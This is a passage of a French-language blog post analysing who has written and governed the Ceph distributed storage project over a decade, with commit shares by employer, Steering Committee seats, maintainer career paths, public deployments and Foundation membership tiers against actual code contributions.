et 460 autres organisations — Aucun employeur visible dans l\u0026rsquo;adresse 6 295 9,0 % Les lignes 1 et 3 sont la même équipe. Le 4 octobre 2022, Red Hat et IBM ont annoncé que toute l\u0026rsquo;équipe Ceph de Red Hat passait chez IBM, IBM reprenant le parrainage de la Foundation par Red Hat et aidant à financer le laboratoire de test amont. Les gens n\u0026rsquo;ont pas changé ; leurs adresses e-mail migrent encore, un ingénieur à la fois, quatre ans plus tard.\nAdditionnez-les : 46 662 commits. 67,0 % de la décennie.\nAsseyez-vous avec ça avant toute autre chose, parce que c\u0026rsquo;est le marché qui fait exister Ceph. Une entreprise a payé des dizaines d\u0026rsquo;ingénieurs pour bâtir et entretenir du stockage distribué qu\u0026rsquo;elle donne ensuite. Dix ans de ça, à travers deux rachats et un changement de maison mère. Personne ne les y a obligés.\nLes trois dernières années Rang Organisation Commits Part 1 Red Hat 7 273 45,0 % 2 IBM 3 818 23,6 % 3 QiAnXin 597 3,7 % 4 Ceph Foundation 526 3,3 % 5 IONOS 498 3,1 % 6 Intel 279 1,7 % 7 Proxmox 249 1,5 % 8 Bloomberg 220 1,4 % 9 croit 157 1,0 % 10 Clyso 153 0,9 % 11 Cafe Bazaar 118 0,7 % 12 ISCAS (Institute of Software, Chinese Academy of Sciences) 99 0,6 % — Aucun employeur visible dans l\u0026rsquo;adresse 2 008 12,4 % 16 160 commits. Red Hat plus IBM : 11 091, soit 68,6 %.\nLa part d'une seule entreprise dans Ceph, sur une décennie et sur trois ans La part ne bouge pas. Ce qu'il y a dedans, si. Dix ans jusqu'au 2026-08-27 69\u0026#160;613 commits Red Hat\u0026#160;\u0026#160;60,8\u0026#160;% IBM 6,2\u0026#160;% SUSE 8,9\u0026#160;% tous les autres\u0026#160;\u0026#160;24,1\u0026#160;% Red Hat + IBM : 46\u0026#160;662 commits, 67,0\u0026#160;% Sur trois ans 16\u0026#160;160 commits Red Hat\u0026#160;\u0026#160;45,0\u0026#160;% IBM\u0026#160;\u0026#160;23,6\u0026#160;% SUSE : 13 tous les autres\u0026#160;\u0026#160;31,4\u0026#160;% Red Hat + IBM : 11\u0026#160;091 commits, 68,6\u0026#160;% SUSE était le deuxième contributeur de la décennie. Sur les trois dernières années il a écrit 13 commits, et en 2025 et 2026 aucun du tout. La part d\u0026rsquo;une seule entreprise bouge à peine entre la décennie et la fenêtre récente — 67,0 % contre 68,6 %. Ce qui change, c\u0026rsquo;est tout ce qu\u0026rsquo;il y a autour. La résilience dont personne ne parle Voici le passage que je n\u0026rsquo;attendais pas, et c\u0026rsquo;est le meilleur de tout l\u0026rsquo;exercice.\nCeph a déjà survécu aux deux événements que ces données vous diraient de craindre, et il n\u0026rsquo;a pas bronché.\nSon créateur, Sage Weil, a écrit 7 517 commits sur la décennie — plus que n\u0026rsquo;importe quelle organisation à part Red Hat, SUSE et IBM. Rien qu\u0026rsquo;en 2017 il a écrit 2 184 commits, 21,5 % de tout le projet à lui seul. Il a pris du recul en octobre 2021 après 17 ans ; son dernier commit est daté du 2022-01-20.\nSon deuxième contributeur de la décennie, SUSE, a écrit 6 191 commits et a culminé à 1 839 en une année. Puis il a annulé SUSE Enterprise Storage au profit de Longhorn de Rancher et a levé le pied : 463 en 2021, 110 en 2022, 14 en 2023, 10 en 2024, rien depuis.\nLes deux dans les mêmes cinq ans. Si un projet aussi concentré était cassant, c\u0026rsquo;est là qu\u0026rsquo;il aurait rompu.\nIl n\u0026rsquo;a pas rompu. Le rythme de commits cette année est de 14,6 par jour contre 14,8 l\u0026rsquo;an dernier. Plat. Les versions ont continué de sortir. La gouvernance a été reconstruite en un Conseil exécutif et un Steering Committee de 38 personnes, et elle a tenu.\nAnnée Commits au total Red Hat + IBM Part Tous les autres 2016 10 286 5 834 56,7 % 4 452 2017 10 158 6 942 68,3 % 3 216 2018 8 099 5 265 65,0 % 2 834 2019 9 000 5 934 65,9 % 3 066 2020 8 361 5 230 62,5 % 3 131 2021 7 381 4 517 61,1 % 2 864 2022 4 731 2 937 62,0 % 1 794 2023 4 634 3 315 71,5 % 1 319 2024 5 410 3 571 66,0 % 1 839 2025 5 389 3 730 69,2 % 1 659 2026 3 495 2 329 66,6 % 1 166 (2026 va jusqu\u0026rsquo;au 27 août, environ huit mois.)\nEntre 57 et 72 pour cent d\u0026rsquo;un seul éditeur, chaque année pendant une décennie. Le volume est en baisse par rapport au pic de 2016, ce qui est normal quand un projet cesse de refaire ses fondations et se met à les entretenir. Les trois dernières années sont plates, ou en très légère hausse.\nLe volume de commits de Ceph par année — la part tient, le total est divisé par deux Commits par année, et qui les a écrits Branche main de Ceph, commits hors fusion, par date d'auteur 0 3k 6k 9k 12k 2016 57\u0026#160;% 2017 68\u0026#160;% 2018 65\u0026#160;% 2019 66\u0026#160;% 2020 63\u0026#160;% 2021 61\u0026#160;% 2022 62\u0026#160;% 2023 72\u0026#160;% 2024 66\u0026#160;% 2025 69\u0026#160;% 2026* 67\u0026#160;% Red Hat + IBM — une seule équipe depuis octobre 2022 tous les autres Pic de SUSE : 1\u0026#160;839 Départ de Sage Weil SUSE : 110 en 2022, 14 en 2023, 0 en 2026 * 2026 va jusqu'au 27 août ; tracé à son rythme actuel de 14,6 commits par jour, contre 14,8 pour 2025. Le volume de commits par année, réparti entre l\u0026rsquo;équipe Red Hat/IBM et tous les autres. Marqués : le pic et la sortie de SUSE, et le départ de Sage Weil. Ceph a absorbé les deux sans changer de cadence. Ceph a survécu aux entreprises qui l\u0026rsquo;ont bâti C\u0026rsquo;est la vraie histoire de la décennie, et vous ne la voyez pas du tout dans une fenêtre de trois ans.\nRegardez les lignes 2, 5, 8, 10, 13 et 15. SUSE, ZTE, Mirantis, China Mobile, Cloudbase Solutions, XSKY — plus Inspur, EasyStack, UMCloud, Kylin, UnitedStack, Xtao, Istuary et d\u0026rsquo;autres plus bas. À elles toutes, bien plus de 10 000 commits. La quasi-totalité s\u0026rsquo;est arrêtée.\nSUSE : 6 191 commits, pic en 2020, aujourd\u0026rsquo;hui zéro. ZTE : 1 176 commits, 1 071 rien qu\u0026rsquo;en 2016, dernier commit en 2020. Mirantis : 566 commits, parti. XSKY, EasyStack, Inspur, UMCloud, Kylin, UnitedStack : la cohorte du stockage de l\u0026rsquo;ère OpenStack, toute repliée. Chacune d\u0026rsquo;elles pariait un produit sur Ceph. Les produits ont été annulés ou réorientés. Et Ceph est toujours là, à livrer au même rythme, avec leur code toujours dans l\u0026rsquo;arbre et quelqu\u0026rsquo;un d\u0026rsquo;autre qui l\u0026rsquo;entretient.\nLa meilleure illustration est le tableau de bord. Sur la décennie, src/pybind/mgr/dashboard ressemble à ça :\nsrc/pybind/mgr/dashboard, dix ans Commits Part SUSE 1 408 36,6 % Red Hat 1 177 30,6 % IBM 734 19,1 % Aucun employeur visible 478 12,4 % Le tableau de bord de Ceph était surtout le travail de SUSE. SUSE a ensuite quitté le projet entièrement. Sur les trois dernières années, le même répertoire est à 57,5 % IBM et 30,3 % Red Hat, et le tableau de bord sort toujours et gagne toujours des fonctions.\nC\u0026rsquo;est le développement en amont d\u0026rsquo;abord qui fait exactement le travail pour lequel il existe. Un éditeur a beaucoup mis, l\u0026rsquo;éditeur est parti, et les utilisateurs ont gardé le logiciel. Si SUSE avait bâti ce tableau de bord comme une couche fermée boulonnée par-dessus, comme l\u0026rsquo;auraient fait pas mal d\u0026rsquo;éditeurs de stockage, il serait mort avec la gamme. Il est parti en amont à la place, alors il a vécu.\nLa prochaine décennie se bâtit à plusieurs entreprises à la fois Crimson est la réécriture de fond en comble de l\u0026rsquo;OSD — le démon qui possède vos disques — sur le framework Seastar, visant le modèle un thread par cœur qu\u0026rsquo;exige le NVMe moderne. C\u0026rsquo;est le plus gros pari sur les dix prochaines années de Ceph. Sur la décennie :\nsrc/crimson, dix ans Commits Part Red Hat 3 038 52,1 % Intel 1 269 21,8 % QiAnXin 824 14,1 % Aucun employeur visible 450 7,7 % Et sur les trois dernières années, Red Hat et IBM ensemble en sont minoritaires à 45,4 %, avec QiAnXin à 28,4 % et Intel à 13,4 %.\nLa chose la plus importante en construction dans Ceph en ce moment est vraiment un travail à plusieurs entreprises. Pas la feuille de route d\u0026rsquo;un éditeur avec quelques contributeurs boulonnés dessus — trois maisons qui font de la grosse ingénierie sur le même sous-système, en public, depuis des années.\nQiAnXin mérite une note, parce que ce n\u0026rsquo;est pas un nom que la plupart des gens du stockage connaissent. C\u0026rsquo;est une entreprise chinoise de cybersécurité pour entreprises, fondée comme filiale de Qihoo 360 en 2014 et détachée vers 2016 ; Qihoo 360 a vendu sa participation restante de 22,6 % à des sociétés affiliées à China Electronics Corporation en avril 2019, et CEC détenait 38,3 % au moment du dossier d\u0026rsquo;introduction en bourse de 2020. L\u0026rsquo;histoire de l\u0026rsquo;entreprise est lisible dans le journal git : leur contributeur principal, Xuehan Xu, a des commits sous @360.cn en 2017 et 2018 et sous @qianxin.com à partir de 2021. Une entreprise de sécurité sans produit de stockage à vendre a mis 900 commits dans le futur OSD de Ceph. C\u0026rsquo;est un projet ouvert qui marche comme annoncé sur la boîte.\nQui maintient Ceph, et qui les paie Écrire du code est une chose ; tenir les clés en est une autre. Ceph garde sa gouvernance dans le dépôt, dans doc/governance.rst, et le Ceph Steering Committee y est listé par nom et par adresse. Ça rend la question du mainteneur vers l\u0026rsquo;employeur répondable depuis une source primaire au lieu de suppositions.\nTrente-huit sièges, remontés à l\u0026rsquo;employeur de l\u0026rsquo;adresse listée de chaque membre :\nEmployeur Sièges Red Hat 16 IBM 9 Clyso 3 Adresse personnelle (Anthony D\u0026rsquo;Atri, Myoungwon Oh) 2 croit — Igor Fedotov 1 Bloomberg — Joseph Mundackal 1 Intel — Yingxin Cheng 1 Ceph Foundation — Zac Dover 1 XSKY — Haomai Wang 1 ZTE — Xie Xingguo 1 Ubiquiti — Yehuda Sadeh 1 11:11 Systems — David Orman 1 Red Hat et IBM tiennent 25 sièges sur 38 — 65,8 %. Contre 67,0 % des commits de la décennie et 68,6 % des trois dernières années. L\u0026rsquo;organe de gouvernance reflète le code presque exactement, ce qui est le bon sens de la chose : les gens qui font le travail ont la parole, et à ce titre personne ne détient un veto qu\u0026rsquo;il n\u0026rsquo;a pas gagné.\nLes sièges du Ceph Steering Committee par employeur — 25 sur 38 pour une seule entreprise Qui maintient Ceph, selon qui les paie 38 sièges au Ceph Steering Committee, d'après l'adresse que chaque membre liste dans doc/governance.rst Red Hat IBM Clyso adresse personnelle un siège chacun 16 9 3 2 8 croit, Bloomberg, Intel, Ceph Foundation, XSKY, ZTE, Ubiquiti, 11:11 Systems Red Hat + IBM : 25 sièges sur 38, 65,8\u0026#160;% Contre 67,0\u0026#160;% des commits de la décennie et 68,6\u0026#160;% des trois dernières années. Le comité reflète le code. XSKY et ZTE tiennent toujours des sièges. Aucune des deux n'a écrit une ligne dans Ceph depuis 2020. Cinq des 38 n'ont aucun commit depuis 2021, ou aucun du tout. Piloter n'est pas le même travail qu'écrire du code \u0026#8212; mais deux de ces sièges appartiennent à des entreprises qui ont quitté le projet entièrement. Les 38 sièges du Ceph Steering Committee par l\u0026rsquo;employeur de l\u0026rsquo;adresse listée de chaque membre, d\u0026rsquo;après doc/governance.rst. La composition du comité suit la distribution des commits de près. Deux détails valent d\u0026rsquo;être sortis, et les deux disent quelque chose de bon.\nXSKY et ZTE tiennent toujours des sièges. Aucune des deux entreprises n\u0026rsquo;a écrit une ligne depuis 2020 — le dernier commit de Haomai Wang est du 2020-03-18, celui de Xie Xingguo du 2020-07-24 après 750 commits dans la décennie. Ceph ne les a pas mis dehors. Un projet qui garde un siège au chaud pour les gens qui ont bâti de grands morceaux de BlueStore et de l\u0026rsquo;OSD, des années après le départ de leur employeur, n\u0026rsquo;est pas un projet qui traite ses contributeurs comme jetables.\nYehuda Sadeh siège au comité avec une adresse @ui.com. Il a écrit RADOS Gateway — la porte S3 et Swift vers RADOS, le Reliable Autonomic Distributed Object Store sur lequel tout le reste de Ceph repose — en commençant chez DreamHost en 2008, puis Inktank, Red Hat et IBM : 972 commits rien que sur la décennie et des milliers avant. Il écrivait encore du code de crypto cephx en juillet 2025. Puis en juin 2026 il a fait exactement un commit, doc: governance/csc: update email address, changeant sa propre entrée pour Ubiquiti. Il a changé d\u0026rsquo;employeur et gardé son siège. Votre réputation voyage avec vous ici, et c\u0026rsquo;est une des meilleures choses du travail à ciel ouvert.\nLes responsables de composants Les responsables de composants possèdent chaque sous-système au jour le jour :\nComposant Ce que c\u0026rsquo;est Responsable Employeur Cephadm Déploiement et gestion du cluster Adam King Red Hat CephFS Le système de fichiers POSIX Venky Shankar Red Hat Crimson L\u0026rsquo;OSD de nouvelle génération Matan Breizman Red Hat Dashboard L\u0026rsquo;interface web de gestion Afreen Misbah IBM RADOS Le magasin d\u0026rsquo;objets sur lequel tout repose Radosław Zarzyński Red Hat RBD RADOS Block Device — les disques virtuels Ilya Dryomov Red Hat RGW RADOS Gateway — la couche S3 et Swift Adam Emerson, Eric Ivancich Red Hat NVMe-oF La passerelle NVMe over Fabrics Aviv Caro IBM Seastore Le moteur de stockage de Crimson Yingxin Cheng Intel Dix responsables nommés, neuf chez Red Hat ou IBM, et Seastore — le moteur de stockage de Crimson — mené depuis Intel. Au-dessus siège le Conseil exécutif à trois personnes, créé au départ de Sage Weil : Dan van der Ster (Clyso), Neha Ojha (Red Hat), Patrick Donnelly (IBM). Clyso tient un tiers de l\u0026rsquo;organe de gouvernance supérieur sur 0,3 % des commits de la décennie — le conseil a été bâti sur le jugement et la réputation, pas sur les effectifs.\nLes mainteneurs ont bougé, et le code est resté Le meilleur argument pour dire que Ceph est un vrai bien commun plutôt que le produit d\u0026rsquo;une seule entreprise, c\u0026rsquo;est ce qui arrive quand ses mainteneurs changent de travail. Chacun de ces parcours est traçable par les adresses dans le dépôt :\nMainteneur (employeur actuel) Carrière, selon le journal git Dernier commit Igor Fedotov (croit) — BlueStore Mirantis (2015–17) → SUSE (2017–24) → croit (2021–) 2026-08-24 Kefu Chai (Proxmox) — cœur, build Red Hat (2015–22, 4 770 commits) → XSKY → Proxmox (2025–) 2026-08-18 Radosław Zarzyński (Red Hat) — responsable RADOS Mirantis (2015–17) → Red Hat (2017–) 2026-06-16 Dan van der Ster (Clyso) — Conseil exécutif CERN (2013–22) → Clyso (2023–) 2026-03-18 Zac Dover (Ceph Foundation) — documentation indépendant → Clyso → Ceph Foundation 2026-07-23 Yehuda Sadeh (Ubiquiti) — auteur de RGW DreamHost → Inktank → Red Hat → IBM → Ubiquiti 2026-06-08 Mark Nelson (Clyso) — performance DreamHost → Inktank → Red Hat → Clyso 2024-04-16 Xuehan Xu (QiAnXin) — Crimson Qihoo 360 (2017–18) → QiAnXin (2021–) 2026 Trois employeurs chacun, quatre dans certains cas, et le travail a continué à chaque déplacement. Igor Fedotov a maintenant survécu à deux stratégies Ceph de ses employeurs et maintient toujours le moteur qui pose vos octets sur le disque. La réponse honnête à « et si un éditeur s\u0026rsquo;en va » est donc celle-ci : les ingénieurs continuent.\nQui fait vraiment tourner Ceph Les contributions n\u0026rsquo;en sont que la moitié. Voici qui dit tout haut faire tourner Ceph, avec les chiffres qu\u0026rsquo;ils ont publiés eux-mêmes.\nOrganisation Déploiement déclaré publiquement CERN, l\u0026rsquo;Organisation européenne pour la recherche nucléaire 19 clusters de production, ~73 Po bruts, plus 5 autres dans un nouveau centre de données — l\u0026rsquo;ossature de stockage sous le cloud informatique du CERN Bloomberg Des magasins d\u0026rsquo;objets de quelques centaines de To à plus de 8 Po ; 6 Po de capacité brute ajoutés à chaud, une hausse de 50 % sur un cluster en ligne, en moins d\u0026rsquo;une heure Wikimedia Foundation Cinq clusters Ceph en production — du bloc pour Cloud VPS, du S3 via RGW multisite, et CephFS pour Airflow, Dumps et ML-Lab DigitalOcean Ceph alimente son service Block Storage via RBD, avec « hundreds of enterprise-class SSDs » par région et une réplication 3× entre serveurs et baies OVHcloud « Persistent storage for virtual machines is ensured by Ceph RADOS Block Device » dans sa plateforme On-Prem Cloud Proxmox Livre Ceph comme l\u0026rsquo;option de stockage hyperconvergé intégrée à Proxmox VE Le CERN mérite un regard de plus près, parce que c\u0026rsquo;est le compte rendu public le plus détaillé que quiconque ait publié. D\u0026rsquo;une présentation de septembre 2024 par Enrico Bocchi du service informatique du CERN :\nCeph au CERN, par application Taille brute Clusters Blocs — OpenStack Cinder/Glance, HDD réplique 3× 25,1 Po 5 Blocs — flash, EC 4+2 976 To 2 Système de fichiers — OpenStack Manila, K8s/OKD, HPC, HDD réplique 3× 13,4 Po 5 Système de fichiers — flash, réplique 3× 1,7 Po 4 Objets — S3, Swift, sauvegardes, HDD EC 4+2 28,2 Po 2 Objets — multisite, EC 4+2 3,6 Po 1 EC 4+2 est du codage à effacement, quatre morceaux de données pour deux de parité. HPC est le calcul haute performance, K8s est Kubernetes et OKD sa distribution amont. Les chiffres sont de la capacité brute, avant surcharge de réplication et de codage.\nDix-neuf clusters de production, exploités sur le principe déclaré « don\u0026rsquo;t put all your eggs in the same basket », avec cinq de plus qui partent dans un nouveau centre de données. L\u0026rsquo;histoire du service est une publicité discrète pour le logiciel : preuve de concept de 300 To en 2013, 3 Po en production pour RBD dès le mois de décembre, extension de 3 Po à 6 Po sans interruption en 2016, S3 et CephFS en production en 2018, tout un cluster CephFS déplacé physiquement sans interruption en 2022, RBD noyau en production en 2023.\nCe qu\u0026rsquo;il porte au CERN est la partie parlante : GitLab, OpenStack, OpenShift, Kubernetes, Harbor, Jenkins, Grafana, Kafka, OpenSearch, InfluxDB, HTCondor, Slurm, Jupyter, Spark, Zenodo, Indico, et la virtualisation de NFS, AFS et CVMFS. Ceph n\u0026rsquo;y est pas une expérience de côté. C\u0026rsquo;est le plancher sur lequel tient le reste du bâtiment.\nEt le chiffre à l\u0026rsquo;échelle de la communauté, tiré de l\u0026rsquo;annonce de la version Squid par la Linux Foundation elle-même : 1 exaoctet de données sur plus de 3 000 clusters Ceph.\nCet exaoctet est un plancher, pas un total C\u0026rsquo;est le passage sur lequel il vaut la peine de s\u0026rsquo;arrêter, parce qu\u0026rsquo;il change la lecture de tous les chiffres d\u0026rsquo;adoption de Ceph.\nLa télémétrie de Ceph se demande. Vous n\u0026rsquo;êtes compté que si quelqu\u0026rsquo;un lance ceph telemetry on --license sharing-1-0. Tous ceux qui ne l\u0026rsquo;ont jamais lancée sont invisibles, et en pratique c\u0026rsquo;est le plus grand nombre, parce que ce n\u0026rsquo;est pas le comportement par défaut et que rien ne vous harcèle à ce sujet.\nAjoutez maintenant Proxmox. Proxmox VE livre Ceph comme son option de stockage hyperconvergé : trois nœuds, quelques clics dans l\u0026rsquo;interface web, pveceph sous le capot, et vous avez un cluster Ceph. Un très grand nombre de gens font tourner du Ceph en production sans jamais se penser eux-mêmes comme des utilisateurs de Ceph. Ce sont des utilisateurs de Proxmox. Ils n\u0026rsquo;ont jamais rejoint de liste de diffusion, ils n\u0026rsquo;écriront jamais de témoignage, ils n\u0026rsquo;ont pas activé la télémétrie, et ils n\u0026rsquo;apparaissent dans aucun des tableaux ci-dessus.\nChaque petit hébergeur, prestataire de services gérés, département universitaire, labo maison passé discrètement en production et cluster de trois nœuds au fond d\u0026rsquo;un bureau dans cette catégorie est un vrai déploiement Ceph qu\u0026rsquo;aucun chiffre de ce billet ne compte. Pareil pour quiconque obtient Ceph par Rook sur Kubernetes, ou à l\u0026rsquo;intérieur d\u0026rsquo;une appliance qui ne dit jamais ce qu\u0026rsquo;il y a sous le capot.\nDonc 1 Eo sur 3 000 clusters est le chiffre des clusters qui ont levé la main. La base installée réelle est nettement plus grosse et personne ne sait de combien. C\u0026rsquo;est une position curieuse pour un logiciel d\u0026rsquo;infrastructure — normalement l\u0026rsquo;éditeur le sait, parce qu\u0026rsquo;il a fallu acheter une licence — et c\u0026rsquo;est un résultat direct du fait que la chose est gratuite.\n478 organisations y ont mis du code Le journal de commits fait aussi office de liste de qui fait tourner Ceph à l\u0026rsquo;échelle, parce qu\u0026rsquo;une entreprise qui envoie des correctifs est presque toujours une entreprise qui fait tourner la chose. Sur la décennie, 478 domaines de messagerie d\u0026rsquo;organisations distincts apparaissent, dont 140 avec cinq commits ou plus.\nLes noms, groupés, à partir du seul journal git :\nFabricants de puces, de disques et de matériel : Intel, Samsung, Seagate, SanDisk, Western Digital, Quantum, Mellanox, Lenovo, Fujitsu, Hitachi, Nokia, Arm, Linaro, HiSilicon, Synology, 45Drives Clouds et hébergeurs : DigitalOcean, OVH, IONOS, Akamai, Linode, Hetzner, Binero, City Network, iland, 11:11 Systems, Vexxhost, StackHPC, Canonical, Deutsche Telekom, China Telecom, China Unicom, China Mobile, Chunghwa Telecom Utilisateurs internet et entreprises : Bloomberg, eBay, GoDaddy, Flipkart, Wikimedia, Naver, LINE, Kakao, SK Telecom, Alibaba, Tencent, Baidu, ByteDance, Kuaishou, UnionPay, SenseTime, Sangfor, Micro Focus, MITRE, Igalia, Walmart Labs Éditeurs de stockage et intégrateurs : SUSE, Mirantis, XSKY, EasyStack, Inspur, UMCloud, Kylin, UnitedStack, H3C, Xtao, Eisoo, Cloudin, Istuary, ProphetStor, SoftIron, Bigtera, Cloudbase Solutions, Digiware, Bisect, 42on, croit, Clyso, Proxmox, DreamHost Recherche et enseignement : le CERN, l\u0026rsquo;Institute of Software de l\u0026rsquo;Académie chinoise des sciences (ISCAS), l\u0026rsquo;université d\u0026rsquo;État de Pennsylvanie, l\u0026rsquo;université de Boston, l\u0026rsquo;université du Michigan, l\u0026rsquo;université Carnegie-Mellon, plus les membres associés de la Foundation — FAS Research Computing à Harvard, le Greek Research and Technology Network (GRNET), l\u0026rsquo;université Monash, le South African Radio Astronomy Observatory (SARAO), le Science and Technology Facilities Council (STFC), SWITCH, SLAC à Stanford, et le Center for Research in Open Source Software (CROSS) à l\u0026rsquo;université de Californie à Santa Cruz Tous ne sont pas d\u0026rsquo;actualité, et c\u0026rsquo;est bien le propos de regarder une décennie. Ça montre toute l\u0026rsquo;étendue de qui s\u0026rsquo;est appuyé sur ce logiciel assez fort pour renvoyer des correctifs, et à quel point cette étendue a été large.\nLes acteurs qui disent soutenir Ceph, face à ce qu\u0026rsquo;ils livrent L\u0026rsquo;adhésion par paliers de la Foundation est là où les entreprises déclarent leur soutien. Les paliers ne suivent pas l\u0026rsquo;ingénierie, et l\u0026rsquo;illustration la plus nette vient des trois membres Diamond cités dans l\u0026rsquo;annonce de la version Squid de la Linux Foundation elle-même.\nMembre Diamond Ce qu\u0026rsquo;ils ont dit publiquement Commits, 3 dernières années IBM — Vincent Hsu, IBM Fellow, CTO et VP d\u0026rsquo;IBM Storage « reinforce our trust in Ceph and our commitment to open source » 11 091 (avec Red Hat) Bloomberg — Matthew Leonard, responsable de l\u0026rsquo;ingénierie du stockage « Our Diamond Membership is a symbol of our commitment to the future of Ceph and its growing community » 220 45Drives — Doug Milburn, cofondateur et président « our unwavering commitment to open-source excellence » 0 La déclaration d\u0026rsquo;IBM est adossée au plus gros engagement d\u0026rsquo;ingénierie de l\u0026rsquo;histoire du projet, et même davantage. Celle de Bloomberg est adossée à 220 commits, un siège au Steering Committee et un parc de production de 8 Po dont ils parlent ouvertement — une contribution sérieuse à toute mesure. 45Drives fabrique et vend des appliances matérielles Ceph et finance l\u0026rsquo;infrastructure partagée ; c\u0026rsquo;est une vraie contribution aussi, et ce n\u0026rsquo;est pas du code.\nLe tableau complet sur les paliers :\nMembre Palier Commits, 3 dernières années IBM Diamond 11 091 (avec Red Hat) Bloomberg Diamond 220 CLYSO Diamond 153 45Drives Diamond 0 Western Digital Platinum 0 42on Gold 1 croit Silver 157 DigitalOcean Silver 13 Canonical Silver 9 OVHcloud, Sony, OSNexus, CloudFerro Silver 0 chacun Et dans l\u0026rsquo;autre sens — quatre des sept premiers contributeurs ne sont pas membres du tout :\nContributeur Commits Membre ? QiAnXin 597 Non IONOS 498 Non Intel 279 Plus maintenant Proxmox 249 Non Le palier à la Foundation face aux commits — l'argent et le code n'ont aucun rapport Ce qu'ils paient, face à ce qu'ils ont écrit Palier à la Ceph Foundation face aux commits dans main, du 2023-08-27 au 2026-08-27 200 400 600 commits DIAMOND IBM, avec Red Hat 11\u0026#160;091 Bloomberg 220 CLYSO 153 45Drives rien du tout PLATINUM Western Digital rien du tout GOLD 42on 1 SILVER croit 157 DigitalOcean 13 Canonical 9 six autres membres Silver rien du tout, tous les six NON-MEMBRES QiAnXin 597 IONOS 498 Proxmox 249 Cafe Bazaar 118 Les six membres Silver à zéro : OVHcloud, Sony Interactive Entertainment, OSNexus, CloudFerro, Intelligent Systems, LongVan. Deux des quatre membres du palier supérieur n'ont rien écrit. Les troisième et cinquième contributeurs de Ceph ne sont pas membres du tout. Le palier à la Foundation face aux commits des trois dernières années. Le parrainage et l\u0026rsquo;ingénierie sont des contributions différentes — les paliers mesurent la première, pas la seconde. Je ne lis pas ça comme de l\u0026rsquo;hypocrisie et je préférerais que personne d\u0026rsquo;autre ne le fasse. L\u0026rsquo;argent de la Foundation paie le laboratoire de test amont, l\u0026rsquo;intégration continue qui filtre chaque pull request, Cephalocon et le personnel communautaire — des choses sans lesquelles Ceph ne pourrait pas se passer, et des choses qu\u0026rsquo;un fabricant de matériel qui livre des appliances Ceph a raison de financer. Western Digital, DigitalOcean et OVHcloud vendent tous des produits qui s\u0026rsquo;appuient sur Ceph, et ils paient dans le bien commun qui le fait tenir. C\u0026rsquo;est un échange juste.\nCe qu\u0026rsquo;il faut en retenir est étroit : lisez la page des membres comme la liste de qui finance l\u0026rsquo;infrastructure partagée, et le journal de commits pour qui écrit le code. Ce sont deux questions différentes avec deux réponses différentes, et les deux réponses sont utiles.\nLes fondateurs, huit ans plus tard La Foundation a été lancée le 12 novembre 2018. La liste est au dossier deux fois — l\u0026rsquo;annonce de la Linux Foundation et la dépêche — et elles concordent exactement : treize membres Premier, dix General, huit Associate.\nFace à la page des membres d\u0026rsquo;aujourd\u0026rsquo;hui : quatre sur treize membres Premier sont encore listés sous leur propre nom (Canonical, DigitalOcean, OVHcloud, Western Digital), cinq si vous comptez IBM comme le siège de Red Hat. Deux sur dix membres General restent — croit et Intelligent Systems.\nEt les huit membres Associate sont toujours là. Leurs noms complets, tels que les donne l\u0026rsquo;annonce fondatrice :\nBoston University Information Services and Technology CERN — l\u0026rsquo;Organisation européenne pour la recherche nucléaire FAS Research Computing, Harvard University The Greek Research and Technology Network (GRNET) Monash University, Melbourne The South African Radio Astronomy Observatory (SARAO) The Science and Technology Facilities Council (STFC) à UK Research and Innovation (UKRI) The Center for Research in Open Source Software (CROSS) à l\u0026rsquo;université de Californie à Santa Cruz — là où Ceph a été écrit à l\u0026rsquo;origine, comme travail de doctorat de Sage Weil avec Scott Brandt, Ethan Miller, Darrell Long et Carlos Maltzahn ; l\u0026rsquo;article original de 2006 est toujours hébergé sur ceph.io Huit sur huit, sur huit ans.\nLes membres payants ont tourné. Les universités et les laboratoires de recherche, qui adhèrent gratuitement, ont tenu huit ans sans qu\u0026rsquo;un seul ne parte. Ce sont les gens qui font tourner Ceph à l\u0026rsquo;échelle pour la science, et pas un n\u0026rsquo;est parti.\nLa documentation Quincy porte encore la liste des membres telle qu\u0026rsquo;elle était vers 2022, ce qui donne le point médian : douze des vingt-quatre membres commerciaux de cet instantané sont partis depuis, exactement la moitié. La cadence de Ceph sur cette période n\u0026rsquo;a pas changé.\nSur croit, puisque c\u0026rsquo;est mon employeur et l\u0026rsquo;un des survivants. croit GmbH a adhéré comme membre General fondateur au premier jour et est toujours membre huit ans plus tard — un parcours plus long qu\u0026rsquo;Intel, SUSE, ZTE, Arm ou Samsung n\u0026rsquo;ont tenu. C\u0026rsquo;est aussi 0,3 % des commits de la décennie. Rester n\u0026rsquo;est pas la même chose que bâtir, et je ne vais pas déguiser la longévité en contribution pour l\u0026rsquo;entreprise qui me paie.\nLe manuel, c\u0026rsquo;est une personne, et c\u0026rsquo;est la Foundation qui le paie La ligne 7 du tableau de la décennie est « Ceph Foundation », 691 commits. C\u0026rsquo;est à très peu de chose près un seul homme.\nZac Dover a 1 060 commits sur la décennie, presque entièrement de la documentation. Sur les trois dernières années il est 28,4 % de tout ce qui se passe dans doc/ — le plus gros contributeur unique, devant Red Hat et IBM. L\u0026rsquo;historique de ses adresses va de @gmail.com à @clyso.com puis @proton.me, projeté dans les fichiers de Ceph lui-même sur la Ceph Foundation.\ndoc/, 3 dernières années Commits Part Ceph Foundation 499 28,4 % Aucun employeur visible 383 21,8 % Red Hat 379 21,5 % IBM 333 18,9 % doc/ est le seul répertoire où le plus gros contributeur unique n\u0026rsquo;est ni Red Hat ni IBM, et ça se voit. Le manuel de Ceph est meilleur que ce que la plupart des logiciels d\u0026rsquo;infrastructure de cette taille arrivent à produire. Payer un rédacteur technique qui ne rend de comptes à aucun éditeur est la chose la plus intelligente que la Foundation fasse avec l\u0026rsquo;argent.\nLes individus peuvent encore faire bouger l\u0026rsquo;aiguille Les premiers individus de la décennie, groupés par nom d\u0026rsquo;auteur :\nPersonne Commits sur la décennie Employeur(s) Sage Weil 7 517 Red Hat — créateur, parti en 2022 Kefu Chai 5 538 Red Hat → Proxmox Casey Bodley 2 472 Red Hat Patrick Donnelly 2 330 Red Hat → IBM Jason Dillaman 1 629 Red Hat — parti en 2021 Radosław Zarzyński 1 607 Mirantis → Red Hat Samuel Just 1 415 DreamHost → Inktank → Red Hat John Mulligan 1 300 Red Hat Yingxin Cheng 1 202 Intel Zac Dover 1 060 Ceph Foundation Yehuda Sadeh 972 Red Hat → IBM → Ubiquiti Alfredo Deza 930 Red Hat — parti en 2019 Vingt et une personnes ont écrit la moitié des commits de la décennie ; quatre-vingt-onze en ont écrit 80 %. C\u0026rsquo;est normal pour une grosse base de code C++, et 